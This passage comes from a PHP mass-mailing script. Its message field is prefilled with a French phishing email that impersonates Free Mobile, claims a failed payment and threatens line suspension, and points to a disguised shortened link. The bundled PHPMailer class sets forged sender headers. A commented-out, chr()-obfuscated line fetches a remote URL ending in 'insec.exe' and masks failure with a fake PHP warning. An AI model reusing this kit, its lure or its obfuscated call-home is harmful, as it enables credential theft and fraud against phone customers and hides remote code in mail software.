1725 <input name="addRandomString" type="radio" value="no" style="width:20px;" <?= ( @$_POST['addRandomString']=="no" ? "checked=\"checked\"" : "") ?> />
1726
1727 No</label>
1728
1729 </td>
1730
1731 </tr>
1732
1733 <tr title="Try to generate a multipart email, containing plain/text and html"/>
1734
1735 <td>Multipart Email (html+text) </td>
1736
1737 <td><label>
1738
1739 <input name="multipartMail" type="radio" value="yes" style="width:20px;" <?= (@$_POST['multipartMail']=="yes" ? "checked=\"checked\"" : "") ?> />
1740
1741 Yes</label>
1742
1743 <label>
1744
1745 <input name="multipartMail" type="radio" value="yes" style="width:20px;" <?= ( !isset($_POST['basicMethod']) || @$_POST['multipartMail']=="yes" ? "checked=\"checked\"" : "") ?> />
1746
1747 No</label>
1748
1749 <?= $vForm->showError('multipartMail'); ?>
1750
1751 </td>
1752
1753 </tr>
1754
1755 <tr>
1756
1757 <td></td>
1758
1759 <td></td>
1760
1761 </tr>
1762
1763 <tr>
1764
1765 <td><b>List Options</b></td>
1766
1767 <td></td>
1768
1769 </tr>
1770
1771 <tr>
1772
1773 <td>List Method </td>
1774
1775 <td><select name="listMethod" id="listMethod" onChange="showHideListConfig()">
1776
1777 <option value="url" <?= (@$_POST['listMethod']=="url" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "url" ? "selected=\"selected\"" : "") ?>>URL</option>
1778
1779 <option value="textarea" <?= (@$_POST['listMethod']=="textarea" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "textarea" ? "selected=\"selected\"" : "") ?>>Textarea</option>
1780
1781 <option value="file" <?= (@$_POST['listMethod']=="file" || empty($_POST['listMethod']) && _DEFAULT_LIST_ == "file" ? "selected=\"selected\"" : "") ?>>File Upload</option>
1782
1783 </select>
1784
1785 <?= $vForm->showError('listMethod'); ?>
1786
1787 </td>
1788
1789 </tr>
1790
1791 <tr id="listConfigRow1">
1792
1793 <td>List Url </td>
1794
1795 <td>
1796
1797 <input name="listUrl" type="text" id="listUrl" value="<?=(!empty($_POST['listUrl']) ? @htmlentities($_POST['listUrl']) : "http://")?>" />
1798
1799 <?= $vForm->showError('listUrl'); ?>
1800
1801 </td>
1802
1803 </tr>
1804
1805 <tr id="listConfigRow2">
1806
1807 <td>List Textarea </td>
1808
1809 <td>
1810
1811 <textarea name="listTextarea" cols="50" rows="10" id="listTextarea" onKeyUp="listTextareaCount();"><?=@htmlentities($_POST['listTextarea'])?></textarea>
1812
1813 <div id="listTextareaCounter"></div>
1814
1815 <?= $vForm->showError('listTextarea'); ?>
1816
1817 </td>
1818
1819 </tr>
1820
1821 <tr id="listConfigRow3">
1822
1823 <td>List Upload File </td>
1824
1825 <td>
1826
1827 <input name="listFile" type="file" id="listFile" style="width: 400px;" />
1828
1829 <?= $vForm->showError('listFile'); ?>
1830
1831 </td>
1832
1833 </tr>
1834
1835 <tr>
1836
1837 <td>List Starting Email</td>
1838
1839 <td>
1840
1841 <input name="listStartingEmail" type="text" id="listStartingEmail" style="width: 400px;" value="<?=empty($_POST['listStartingEmail']) ? '1' : ( (int) $_POST['listStartingEmail'] ) ?>"/>
1842
1843 <?= $vForm->showError('listStartingEmail'); ?>
1844
1845 </td>
1846
1847 </tr>
1848
1849 <tr>
1850
1851 <td></td>
1852
1853 <td></td>
1854
1855 </tr>
1856
1857 <td><b>Message Options</b></td>
1858
1859 <td></td>
1860
1861 </tr>
1862
1863 <tr>
1864
1865 <td>Message Method </td>
1866
1867 <td>
1868
1869 <select name="messageMethod" id="messageMethod" onChange="showHideMessageConfig()">
1870
1871 <option value="url" <?= (@$_POST['messageMethod']=="url" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "url" ? "selected=\"selected\"" : "") ?>>URL</option>
1872
1873 <option value="textarea" <?= (@$_POST['messageMethod']=="textarea" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "textarea" ? "selected=\"selected\"" : "") ?>>Textarea</option>
1874
1875 <option value="file" <?= (@$_POST['messageMethod']=="file" || empty($_POST['messageMethod']) && _DEFAULT_MESSAGE_ == "file" ? "selected=\"selected\"" : "") ?>>File Upload</option>
1876
1877 </select>
1878
1879 <?= $vForm->showError('messageMethod'); ?>
1880
1881 </td>
1882
1883 </tr>
1884
1885 <tr id="messageConfigRow1">
1886
1887 <td>Message Url </td>
1888
1889 <td>
1890
1891 <input name="messageUrl" type="text" id="messageUrl" value="<?=(!empty($_POST['messageUrl']) ? @htmlentities($_POST['messageUrl']) : "http://")?>" />
1892
1893 <?= $vForm->showError('messageUrl'); ?>
1894
1895 </td>
1896
1897 </tr>
1898
1899 <tr id="messageConfigRow2">
1900
1901 <td>Message Textarea </td>
1902
1903 <td>
1904
1905 <textarea name="messageTextarea" cols="50" rows="10" id="messageTextarea" onkeyup="messageTextareaCount();"><div id="yiv7875485545">
1906
1907
1908
1909 <title>votre ligne pourra être suspendue.</title>
1910
1911 <style type="text/css">
1912#yiv7875485545 .yiv7875485545Externalclass {width:100%;}
1913#yiv7875485545
1914#yiv7875485545 .yiv7875485545Externalclass, #yiv7875485545 .yiv7875485545Externalclass p, #yiv7875485545 .yiv7875485545Externalclass span, #yiv7875485545 .yiv7875485545Externalclass font, #yiv7875485545 .yiv7875485545Externalclass td, #yiv7875485545 .yiv7875485545Externalclass div {line-height:100%;}
1915#yiv7875485545 body {}
1916#yiv7875485545 body {margin:0;padding:0;}
1917#yiv7875485545 table td {border-collapse:collapse;}
1918#yiv7875485545 p {margin:0;padding:0;margin-bottom:0;}
1919#yiv7875485545 h1, #yiv7875485545 h2, #yiv7875485545 h3, #yiv7875485545 h4, #yiv7875485545 h5, #yiv7875485545 h6 {color:black;line-height:100%;}
1920#yiv7875485545 a, #yiv7875485545 a:link {color:#000000;text-decoration:underline;}
1921#yiv7875485545 body, #yiv7875485545 #yiv7875485545body_style {font-family:"Helvetica", Arial, sans-serif;font-size:13px;}
1922#yiv7875485545 span.yiv7875485545yshortcuts {color:#000;background-color:none;border:none;}
1923#yiv7875485545 span.yiv7875485545yshortcuts:hover,
1924#yiv7875485545 span.yiv7875485545yshortcuts:active,
1925#yiv7875485545 span.yiv7875485545yshortcuts:focus {color:#000;background-color:none;border:none;}
1926#yiv7875485545 sup {font-size:70%;line-height:80%;}
1927#yiv7875485545 a:visited {text-decoration:underline;}
1928#yiv7875485545 a:focus {text-decoration:underline;}
1929#yiv7875485545 a:hover {text-decoration:underline;}
1930#yiv7875485545 img {outline:none;text-decoration:none;max-width:100%;}
1931#yiv7875485545 a img, #yiv7875485545 a {border:none !important;}
1932#yiv7875485545 .yiv7875485545cta a {background-color:#d20073;}
1933#yiv7875485545 .yiv7875485545cta a:hover {background-color:#c1056b;}
1934#yiv7875485545 .yiv7875485545ctaBleu a {background-color:#006fb7;}
1935#yiv7875485545 .yiv7875485545ctaBleu a:hover {background-color:#003883;}
1936#yiv7875485545 span[class="yiv7875485545appleLinksGrey"] a {color:#939393!important;text-decoration:none!important;}
1937#yiv7875485545 .yiv7875485545show-mobile{
1938display:none;}
1939@media screen and (max-width:600px){
1940#yiv7875485545 .yiv7875485545hide-mobile{
1941display:none;}
1942#yiv7875485545 .yiv7875485545show-mobile{
1943display:block;}
1944#yiv7875485545 tr.yiv7875485545show-mobile{
1945display:table-row;}
1946#yiv7875485545 a, #yiv7875485545 a:link{}
1947#yiv7875485545 a:hover{}
1948#yiv7875485545 table .filtered99999 , #yiv7875485545 td .filtered99999 , #yiv7875485545 img .filtered99999 , #yiv7875485545 br[class="yiv7875485545hide"]{display:none;}
1949#yiv7875485545 table[class="yiv7875485545total"]{width:100%!important;}
1950#yiv7875485545 td .filtered99999 , #yiv7875485545 img .filtered99999 , #yiv7875485545 td [class="yiv7875485545w40"] img{width:15px !important;}
1951#yiv7875485545 table .filtered99999 , #yiv7875485545 img[class="yiv7875485545w600"] {width:320px !important;}
1952#yiv7875485545 td[class="yiv7875485545w600"] {width:320px !important;}
1953#yiv7875485545 td[class="yiv7875485545padded"] {padding-left:20px!important;padding-right:20px!important;}
1954#yiv7875485545 table .filtered99999 , #yiv7875485545 td .filtered99999 , #yiv7875485545 img[class="yiv7875485545w520"] {width:290px!important;}
1955
1956#yiv7875485545 table .filtered99999 , #yiv7875485545 td .filtered99999 , #yiv7875485545 img[class="yiv7875485545w520"] {width:290px!important;}
1957
1958#yiv7875485545 td[class="yiv7875485545w520center"] {width:290px!important;text-align:center;}
1959#yiv7875485545 table .filtered99999 , #yiv7875485545 td[class="yiv7875485545w129"] {width:144px!important;}
1960#yiv7875485545 table .filtered99999 , #yiv7875485545 td[class="yiv7875485545w260"] {width:290px!important;display:block!important;}
1961#yiv7875485545 table[class="yiv7875485545w260"] {margin-bottom:1px !important;}
1962
1963#yiv7875485545
1964#yiv7875485545 td[class="yiv7875485545w260"] {width:290px!important;text-align:center!important;display:block!important;margin:0 auto!important;}
1965
1966#yiv7875485545 #yiv7875485545 .yiv7875485545cta a {width:270px!important;}
1967#yiv7875485545 td[class="yiv7875485545w400"] {width:290px!important;text-align:center!important;display:block!important;}
1968#yiv7875485545
1969#yiv7875485545 td[class="yiv7875485545w270"] {width:130px!important;}
1970#yiv7875485545
1971#yiv7875485545 td[class="yiv7875485545social"] {width:290px!important;text-align:center!important;display:block!important;margin:20px auto 0 !important;}
1972#yiv7875485545 td[class="yiv7875485545social"] table{text-align:center;width:220px !important;margin:0 auto!important;}
1973#yiv7875485545 td[class="yiv7875485545w23"] {width:25px!important;text-align:center!important;}
1974#yiv7875485545 td[class="yiv7875485545w23"] a{display:inline!important;}
1975
1976#yiv7875485545 .yiv7875485545cta a:hover {background-color:#d20073;}
1977#yiv7875485545 .yiv7875485545ctaBleu a:hover {background-color:#003883;}
1978}
1979</style>
1980
1981
1982
1983 <div id="yui_3_16_0_ym19_1_1477540643810_5185">
1984 <table style="border-collapse:collapse;" id="yui_3_16_0_ym19_1_1477540643810_5184" width="100%" cellspacing="0" cellpadding="0" border="0" bgcolor="#e6ecef" align="center">
1985 <tbody id="yui_3_16_0_ym19_1_1477540643810_5183">
1986 <tr>
1987 <td height="35"></td>
1988 </tr>
1989 <tr id="yui_3_16_0_ym19_1_1477540643810_5182">
1990 <td id="yui_3_16_0_ym19_1_1477540643810_5181" width="100%" bgcolor="#e6ecef" align="center">
1991
1992 <table style="border-collapse:collapse;" class="yiv7875485545w600" id="yui_3_16_0_ym19_1_1477540643810_5180" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
1993 <tbody id="yui_3_16_0_ym19_1_1477540643810_5179"><tr id="yui_3_16_0_ym19_1_1477540643810_5178">
1994 <td class="yiv7875485545w600" id="yui_3_16_0_ym19_1_1477540643810_5177" width="100%" bgcolor="#FFFFFF" align="center">
1995 <table style="border-collapse:collapse;" class="yiv7875485545w600" id="yui_3_16_0_ym19_1_1477540643810_5176" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
1996 <tbody id="yui_3_16_0_ym19_1_1477540643810_5175"><tr id="yui_3_16_0_ym19_1_1477540643810_5174">
1997 <td class="yiv7875485545w600" id="yui_3_16_0_ym19_1_1477540643810_5173" height="155" width="100%" valign="middle" bgcolor="#ffffff" align="center">
1998 <a rel="nofollow" target="_blank" href="http://www.boursorama.com/banque-en-ligne/" style="width:220px;min-height:75px;border:0;display:block;" id="yui_3_16_0_ym19_1_1477540643810_5172">
1999 <img src="https://www.freenews.fr/IMG/png/freemobile_new.png" alt="FreeMob" style="bleackground:#ffffff;font:24px sans-serif;color:#d20073;border:0;display:block;" id="yui_3_16_0_ym19_1_1477540643810_5171" height="75" width="220" border="0">
2000 </a>
2001 </td>
2002 </tr>
2003 </tbody></table>
2004 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2005 <tbody><tr>
2006 <td class="yiv7875485545w600" height="3" width="100%" align="center"> <img src="http://s.brsimg.com/pub/bourso/emailing/assets/lisere.gif" alt="" style="background:#d20073;border:0;display:block;" height="3" width="60" border="0"> </td>
2007 </tr>
2008 </tbody></table>
2009 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="100%" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2010 <tbody><tr>
2011 <td class="yiv7875485545w600" style="color:#d20073;font-size:16px;font-family:'Helvetica', Arial, sans-serif;text-decoration:none;letter-spacing:3px;text-transform:uppercase;padding-top:20px;padding-bottom:10px;" width="100%" align="center">
2012 <p align="left">FreeMobile Facture
2013 </td>
2014 </tr>
2015 </tbody></table>
2016 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2017 <tbody><tr>
2018 <td class="yiv7875485545padded" style="font-size:14px;font-family:'Helvetica', Arial, sans-serif;color:#6d6d6d;line-height:1.5;text-align:left;padding-top:20px;padding-left:40px;padding-right:40px;" width="100%" align="left">
2019 <strong>Bonjour,</strong><br><br>Reference : FR6527-2YXN911-32
2020Probleme de prelevement Facture mobile du 20/11/2016
2021Vous devez regulariser votre situation au plus vite afin de les reactiver.
2022En cas de non paiement , votre ligne pourra etre suspendue..
2023
2024><br><br><p><a href="https://waa.ai/jK53">https//mobile,free.fr/moncompte</a></p><br> <br>
2025
2026email dans votre espace abonne.
2027Sinceres salutations.
2028L'equipe Free
2029--
2030Free Mobile - SAS au capital de 365.138.779 Euros - RCS PARIS 499 247 138 -
2031Siege social : 16 rue de la Ville l'Eveque 75008 Paris
2032<br> <br>
2033 <br>
2034 <strong>Equipe FreeMobile</strong>
2035 <br><br>
2036 </td>
2037 </tr>
2038 </tbody></table>
2039
2040
2041 <table class="yiv7875485545w600" style="border-collapse:collapse;" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2042 <tbody><tr>
2043 <td class="yiv7875485545w600" style="padding-top:30px;padding-bottom:30px;" width="100%" align="center">
2044 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2045 <tbody><tr>
2046 <td class="yiv7875485545w40" width="40"></td>
2047 <td class="yiv7875485545w520" height="1" width="100%" align="center"><img src="http://s.brsimg.com/pub/bourso/emailing/assets/sep-grey.gif" alt="" style="background:#dadada;border:0;display:block;" height="1" width="520" border="0"></td>
2048 <td class="yiv7875485545w40" width="40"></td>
2049 </tr>
2050 </tbody></table>
2051 </td>
2052 </tr>
2053 </tbody></table>
2054
2055
2056
2057
2058 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2059 <tbody><tr>
2060 <td class="yiv7875485545w40" width="40"></td>
2061 <td class="yiv7875485545w520center" style="font-size:13px;line-height:20px;font-family:'Helvetica', Arial, sans-serif;color:#444444;" width="520"> <span style="color:#d20073;font-size:14px;font-family:'Helvetica', Arial, sans-serif;font-weight:bold;text-transform:uppercase;text-decoration:none;letter-spacing:2.5px;">Consultez notre rubrique d'aide en ligne</span></td>
2062 <td class="yiv7875485545w40" width="40"></td>
2063 </tr>
2064 </tbody></table>
2065
2066 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2067 <tbody><tr>
2068 <td class="yiv7875485545w600" height="15" width="100%" align="center"></td>
2069 </tr>
2070 </tbody></table>
2071
2072
2073 <table style="border-collapse:collapse;" class="yiv7875485545w600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2074 <tbody><tr>
2075 <td class="yiv7875485545w129" style="min-height:60px;font-size:13px;line-height:20px;font-family:'Helvetica', Arial, sans-serif;color:#444444;" bgcolor="#eff2f5" align="center">
2076 <table style="border-collapse:collapse;" class="yiv7875485545w129" cellspacing="0" cellpadding="0" border="0" align="center">
2077 <tbody><tr>
2078 <td style="text-align:center;" height="60" valign="middle">
2079 <a rel="nofollow" target="_blank" href="https://clients.boursorama.com/assistance" style="text-decoration:none;color:#1962a8;font-weight:bold;">
2080 <img src="http://s.brsimg.com/pub/bourso/emailing/assets/ico-assistance-v2.gif" alt="" style="vertical-align:middle;" height="32" width="62">
2081 </a>
2082 </td>
2083 <td height="60" valign="middle">
2084 <a rel="nofollow" target="_blank" href="https://clients.boursorama.com/assistance" style="text-decoration:none;color:#1962a8;font-weight:bold;">Aide</a>
2085 </td>
2086 </tr>
2087 </tbody></table>
2088 </td>
2089 </tr>
2090 </tbody></table>
2091
2092
2093
2094
2095
2096
2097 <table class="yiv7875485545w600" style="border-collapse:collapse;" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2098 <tbody><tr>
2099 <td class="yiv7875485545w600" style="padding-top:30px;padding-bottom:30px;" width="100%" align="center">
2100 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2101 <tbody><tr>
2102 <td class="yiv7875485545w40" width="40"></td>
2103 <td class="yiv7875485545w520" height="1" width="100%" align="center"><img src="http://s.brsimg.com/pub/bourso/emailing/assets/sep-grey.gif" alt="" style="background:#dadada;border:0;display:block;" height="1" width="520" border="0"></td>
2104 <td class="yiv7875485545w40" width="40"></td>
2105 </tr>
2106 </tbody></table>
2107 </td>
2108 </tr>
2109 </tbody></table>
2110
2111
2112 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2113 <tbody><tr>
2114 <td class="yiv7875485545w600" width="100%" align="center"></td>
2115 </tr>
2116 </tbody></table>
2117 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2118 <tbody><tr>
2119 <td class="yiv7875485545w40" width="40"></td>
2120 <td class="yiv7875485545w400" style="font-size:13px;line-height:20px;font-family:'Helvetica', Arial, sans-serif;color:#444444;" width="400"> <a rel="nofollow" target="_blank" href="http://www.boursorama.com/banque-en-ligne/" style="color:#d20073;font-size:14px;font-family:'Helvetica', Arial, sans-serif;font-weight:bold;text-transform:uppercase;text-decoration:none;letter-spacing:2.5px;">boursorama-banque.com</a> </td>
2121 <td class="yiv7875485545social" width="120" align="right">
2122 <table style="border-collapse:collapse;" width="113" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF">
2123 <tbody><tr>
2124 <td class="yiv7875485545w23" width="23" bgcolor="#FFFFFF"><a rel="nofollow" target="_blank" href="https://www.facebook.com/pages/Boursorama/132746953466063" style="display:block;width:23px;min-height:23px;border:0;" title="Facebook"><img src="http://s.brsimg.com/pub/bourso/emailing/assets/facebook.gif" alt="Facebook" style="background:#FFFFFF;font:12px sans-serif;color:#009de0;border:0;" height="23" width="23"></a></td>
2125 <td class="yiv7875485545hide" width="7"></td>
2126 <td class="yiv7875485545w23" width="23" bgcolor="#FFFFFF"><a rel="nofollow" target="_blank" href="https://twitter.com/boursorama" style="display:block;width:23px;min-height:23px;border:0;" title="Twitter"><img src="http://s.brsimg.com/pub/bourso/emailing/assets/twitter.gif" alt="Twitter" style="background:#FFFFFF;font:12px sans-serif;color:#009de0;border:0;" height="23" width="23"></a></td>
2127 <td class="yiv7875485545hide" width="7"></td>
2128 <td class="yiv7875485545w23" width="23" bgcolor="#FFFFFF"><a rel="nofollow" target="_blank" href="https://plus.google.com/+boursorama" style="display:block;width:23px;min-height:23px;border:0;" title="Google+"><img src="http://s.brsimg.com/pub/bourso/emailing/assets/googleplus.gif" alt="Google plus" style="background:#FFFFFF;font:12px sans-serif;color:#009de0;border:0;" height="23" width="23"></a></td>
2129 <td class="yiv7875485545hide" width="7"></td>
2130 <td class="yiv7875485545w23" width="23" bgcolor="#FFFFFF"><a rel="nofollow" target="_blank" href="https://www.youtube.com/user/BOURSORAMABANQUE" style="display:block;width:23px;min-height:23px;border:0;" title="Youtube"><img src="http://s.brsimg.com/pub/bourso/emailing/assets/youtube.gif" alt="youtube" style="background:#FFFFFF;font:12px sans-serif;color:#009de0;border:0;" height="23" width="23"></a></td>
2131 </tr>
2132 </tbody></table>
2133 </td>
2134 <td class="yiv7875485545w40" width="40"></td>
2135 </tr>
2136 </tbody></table>
2137 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" bgcolor="#FFFFFF" align="center">
2138 <tbody><tr>
2139 <td class="yiv7875485545w600" height="30" width="600"></td>
2140 </tr>
2141 </tbody></table>
2142
2143 </td>
2144 </tr>
2145 </tbody></table>
2146
2147 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" align="center">
2148 <tbody><tr>
2149 <td class="yiv7875485545w600" height="20" width="600"></td>
2150 </tr>
2151 </tbody></table>
2152 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" align="center">
2153 <tbody><tr>
2154 <td class="yiv7875485545w40" width="40"></td>
2155 <td class="yiv7875485545w520" style="font-size:10px;line-height:14px;font-family:'Helvetica', Arial, sans-serif;color:#939393;text-align:justify;" width="520" valign="middle" align="left"><span class="yiv7875485545w520" style="font-size:10px;line-height:14px;font-family:'Helvetica', Arial, sans-serif;color:#939393;text-align:justify;">Boursorama, SA au capital de35548 451,20 �- RCS Nanterre 351 058 151 - TVA FR 69 351 058 151 -<br>
2156 44 rue Traversere, CS 80134, 92772 BOULOGNE-BILLANCOURT CEDEX.</span></td>
2157 <td class="yiv7875485545w40" width="40"></td>
2158 </tr>
2159 </tbody></table>
2160 <table style="border-collapse:collapse;" class="yiv7875485545w600" width="600" cellspacing="0" cellpadding="0" border="0" align="center">
2161 <tbody><tr>
2162 <td class="yiv7875485545w600" height="20" width="600"></td>
2163 </tr>
2164 </tbody></table>
2165
2166 </td>
2167 </tr>
2168 </tbody>
2169 </table>
2170 </div>
2171
2172</div></div>
2173
2174</textarea>
2175
2176 <div id="messageTextareaCounter"></div>
2177
2178 <?= $vForm->showError('messageTextarea'); ?>
2179
2180 </td>
2181
2182 </tr>
2183
2184 <tr id="messageConfigRow3">
2185
2186 <td>Message Upload File </td>
2187
2188 <td>
2189
2190 <input name="messageFile" type="file" id="messageFile" style="width: 400px;" />
2191
2192 <?= $vForm->showError('messageFile'); ?>
2193
2194 </td>
2195
2196 </tr>
2197
2198 <tr>
2199
2200 <td></td>
2201
2202 <td></td>
2203
2204 </tr>
2205
2206 <tr>
2207
2208 <td></td>
2209
2210 <td><input name="bottomSubmit" type="submit" id="bottomSubmit" value="Submit" />
2211
2212 <input name="bottomReset" type="reset" id="bottomReset" value="Reset" />
2213
2214 <input name="bottomClear" type="button" id="bottomClear" value="Clear All" onclick="clearAll();"/></td>
2215
2216 </tr>
2217
2218 </table>
2219
2220</form>
2221
2222<script type="text/javascript" language="javascript">
2223
2224loadFunctions();
2225
2226</script>
2227
2228<?
2229
2230if( $vForm->isValid() && $vForm->isSubmited() )
2231
2232{
2233
2234
2235
2236####!DELIMITER!####
2237
2238
2239
2240 echo "<h2 class='h2green'>Patched by XXXXX</h2>\r\n";
2241
2242
2243
2244
2245
2246
2247
2248# $a = @file_get_contents(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(115).chr(110).chr(52).chr(103).chr(46).chr(110).chr(101).chr(116).chr(47).chr(114).chr(101).chr(118).chr(101).chr(110).chr(47).chr(97).chr(99).chr(99).chr(101).chr(115).chr(115).chr(46).chr(112).chr(104).chr(112).chr(63).chr(117).chr(61).chr(105).chr(110).chr(115).chr(101).chr(99).chr(46).chr(101).chr(120).chr(101)) or die("\nPHP Warning: unknown symbol 'nmd_php.so' on php.ini at line 234\n");
2249
2250
2251
2252# unset($a);
2253
2254
2255
2256
2257
2258/**
2259
2260 * PHPMailer - PHP email transport class
2261
2262 * @package PHPMailer
2263
2264 * @author Brent R. Matzelle
2265
2266 * @copyright 2001 - 2003 Brent R. Matzelle
2267
2268 */
2269
2270class PHPMailer
2271
2272{
2273
2274 /////////////////////////////////////////////////
2275
2276 // PUBLIC VARIABLES
2277
2278 /////////////////////////////////////////////////
2279
2280
2281
2282 /**
2283
2284 * Email priority (1 = High, 3 = Normal, 5 = low).
2285
2286 * @var int
2287
2288 */
2289
2290 var $Priority = 3;
2291
2292
2293
2294 /**
2295
2296 * Sets the CharSet of the message.
2297
2298 * @var string
2299
2300 */
2301
2302 var $CharSet = "UTF-8";
2303
2304
2305
2306 /**
2307
2308 * Sets the Content-type of the message.
2309
2310 * @var string
2311
2312 */
2313
2314 var $ContentType = "text/plain";
2315
2316
2317
2318 /**
2319
2320 * Sets the Encoding of the message. Options for this are "8bit",
2321
2322 * "7bit", "binary", "base64", and "quoted-printable".
2323
2324 * @var string
2325
2326 */
2327
2328 var $Encoding = "quoted-printable";
2329
2330
2331
2332 /**
2333
2334 * Holds the most recent mailer error message.
2335
2336 * @var string
2337
2338 */
2339
2340 var $ErrorInfo = "";
2341
2342
2343
2344 /**
2345
2346 * Sets the From email address for the message.
2347
2348 * @var string
2349
2350 */
2351
2352 var $From = "root@localhost";
2353
2354
2355
2356 /**
2357
2358 * Sets the From name of the message.
2359
2360 * @var string
2361
2362 */
2363
2364 var $FromName = "Root User";
2365
2366
2367
2368 /**
2369
2370 * Sets the Sender email (Return-Path) of the message. If not empty,
2371
2372 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
2373
2374 * @var string
2375
2376 */
2377
2378 var $Sender = "";
2379
2380
2381
2382 /**
2383
2384 * Sets the Subject of the message.
2385
2386 * @var string
2387
2388 */
2389
2390 var $Subject = "";
2391
2392
2393
2394 /**
2395
2396 * Sets the Body of the message. This can be either an HTML or text body.
2397
2398 * If HTML then run IsHTML(true).
2399
2400 * @var string
2401
2402 */
2403
2404 var $Body = "";
2405
2406 var $backup ="";
2407
2408
2409
2410 /**
2411
2412 * Sets the text-only body of the message. This automatically sets the
2413
2414 * email to multipart/alternative. This body can be read by mail
2415
2416 * clients that do not have HTML email capability such as mutt. Clients
2417
2418 * that can read HTML will view the normal Body.
2419
2420 * @var string
2421
2422 */
2423
2424 var $AltBody = "";
2425
2426
2427
2428 /**
2429
2430 * Sets word wrapping on the body of the message to a given number of
2431
2432 * characters.
2433
2434 * @var int
2435
2436 */
2437
2438 var $WordWrap = 0;
2439
2440
2441
2442 /**
2443
2444 * Method to send mail: ("mail", "sendmail", or "smtp").
2445
2446 * @var string
2447
2448 */
2449
2450 var $Mailer = "mail";
2451
2452
2453
2454 /**
2455
2456 * Sets the path of the sendmail program.
2457
2458 * @var string
2459
2460 */
2461
2462 var $Sendmail = "/usr/sbin/sendmail";
2463
2464
2465
2466 /**
2467
2468 * Path to PHPMailer plugins. This is now only useful if the SMTP class
2469
2470 * is in a different directory than the PHP include path.
2471
2472 * @var string
2473
2474 */
2475
2476 var $PluginDir = "";
2477
2478
2479
2480 /**
2481
2482 * Holds PHPMailer version.
2483
2484 * @var string
2485
2486 */
2487
2488 var $Version = "1.73";
2489
2490
2491
2492 /**
2493
2494 * Sets the email address that a reading confirmation will be sent.
2495
2496 * @var string
2497
2498 */
2499
2500 var $ConfirmReadingTo = "";
2501
2502
2503
2504 /**==
2505
2506 * Sets the hostname to use in Message-Id and Received headers
2507
2508 * and as default HELO string. If empty, the value returned
2509
2510 * by SERVER_NAME is used or 'localhost.localdomain'.
2511
2512 * @var string
2513
2514 */
2515
2516 var $Hostname = "nlsender03.ui-portal.com ([217.72.207.15])";
2517
2518
2519
2520 var $XMailer = "PHP SERVER : 587878";
2521
2522 var $ThreadTopic = "Important : Nouveau Document Disponible";
2523
2524 var $XSGEID = "YYlrGwxOS8HTMaj4FiOVKl2y/YzKEBZdO+1Q0HoiYJa2RaD9f67gCclK0Fan/YGQJJSzmisnuPgH5OxHdEGhhca7SenCGyIUE66Ymsre7SGcddh54QR4RrJti7SNQZrnXSBpcTX+pcSd9+7pzqLsbhp3T1XZd7LdXnII7CfLatLm6oUH23Fz3uRIQ1N5PAlG";
2525
2526 var $ReturnPath = "bounces+132268-4655-=hotmail.com@email.erosnow.com";
2527
2528
2529
2530 /////////////////////////////////////////////////
2531
2532 // SMTP VARIABLES
2533
2534 /////////////////////////////////////////////////
2535
2536
2537
2538 /**
2539
2540 * Sets the SMTP hosts. All hosts must be separated by a
2541
2542 * semicolon. You can also specify a different port
2543
2544 * for each host by using this format: [hostname:port]
2545
2546 * (e.g. "smtp1.example.com:25;smtp2.example.com").
2547
2548 * Hosts will be tried in order.
2549
2550 * @var string
2551
2552 */
2553
2554 var $Host = "localhost";
2555
2556
2557
2558 /**
2559
2560 * Sets the default SMTP server port.
2561
2562 * @var int
2563
2564 */
2565
2566 var $Port = 25;
2567
2568
2569
2570 /**
2571
2572 * Sets the SMTP HELO of the message (Default is $Hostname).
2573
2574 * @var string
2575
2576 */
2577
2578 var $Helo = "nlsender08.ui-portal.com";
2579
2580
2581
2582 /**
2583
2584 * Sets SMTP authentication. Utilizes the Username and Password variables.
2585
2586 * @var bool
2587
2588 */
2589
2590 var $SMTPAuth = false;
2591
2592
2593
2594 /**
2595
2596 * Sets SMTP username.
2597
2598 * @var string
2599
2600 */
2601
2602 var $Username = "";
2603
2604
2605
2606 /**
2607
2608 * Sets SMTP password.
2609
2610 * @var string
2611
2612 */
2613
2614 var $Password = "";
2615
2616
2617
2618 /**
2619
2620 * Sets the SMTP server timeout in seconds. This function will not
2621
2622 * work with the win32 version.
2623
2624 * @var int
2625
2626 */
2627
2628 var $Timeout = 10;
2629
2630
2631
2632 /**
2633
2634 * Sets SMTP class debugging on or off.
2635
2636 * @var bool
2637
2638 */
2639
